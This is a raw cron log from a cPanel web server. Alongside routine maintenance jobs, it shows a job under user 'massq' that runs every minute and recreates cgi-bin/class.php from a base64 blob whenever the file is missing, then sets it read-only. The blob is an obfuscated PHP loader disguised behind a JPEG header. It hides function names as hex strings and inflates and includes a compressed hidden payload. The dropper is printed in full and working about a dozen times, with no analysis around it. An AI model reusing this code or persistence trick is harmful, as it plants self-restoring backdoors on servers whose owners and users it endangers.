Sep 11 05:08:01 server CROND[29853]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 05:08:01 server CROND[29854]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 05:09:01 server CROND[30350]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 11 05:09:01 server CROND[30351]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 05:09:01 server CROND[30352]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 05:09:01 server CROND[30353]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 05:10:01 server CROND[30754]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 11 05:10:01 server CROND[30757]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 05:10:01 server CROND[30756]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 11 05:10:01 server CROND[30762]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 05:10:01 server CROND[30763]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 11 05:10:01 server CROND[30764]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 05:10:01 server CROND[30765]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 05:10:01 server CROND[30766]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 05:11:01 server CROND[31612]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 05:11:01 server CROND[31613]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 05:11:01 server CROND[31614]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 05:12:01 server CROND[32005]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 05:12:01 server CROND[32006]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 05:12:01 server CROND[32008]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 05:12:01 server CROND[32007]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 11 05:13:01 server CROND[32404]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 05:13:01 server CROND[32405]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 05:13:01 server CROND[32406]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 05:14:01 server CROND[434]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 05:14:01 server CROND[435]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 05:14:01 server CROND[433]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 05:15:01 server CROND[905]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 05:15:01 server CROND[908]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 11 05:15:01 server CROND[907]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep 11 05:15:01 server CROND[910]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 05:15:01 server CROND[913]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 05:15:01 server CROND[912]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 05:15:01 server CROND[911]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 11 05:15:01 server CROND[909]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 05:16:01 server CROND[1927]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 05:16:01 server CROND[1928]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 05:16:01 server CROND[1929]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 05:17:01 server CROND[2360]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 05:17:01 server CROND[2361]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 05:17:01 server CROND[2362]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 05:18:01 server CROND[2780]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 05:18:01 server CROND[2781]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 05:18:01 server CROND[2782]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 05:19:01 server CROND[3298]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 05:19:01 server CROND[3299]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 05:19:01 server CROND[3297]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 05:20:01 server CROND[3696]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 11 05:20:01 server CROND[3701]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 11 05:20:01 server CROND[3703]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
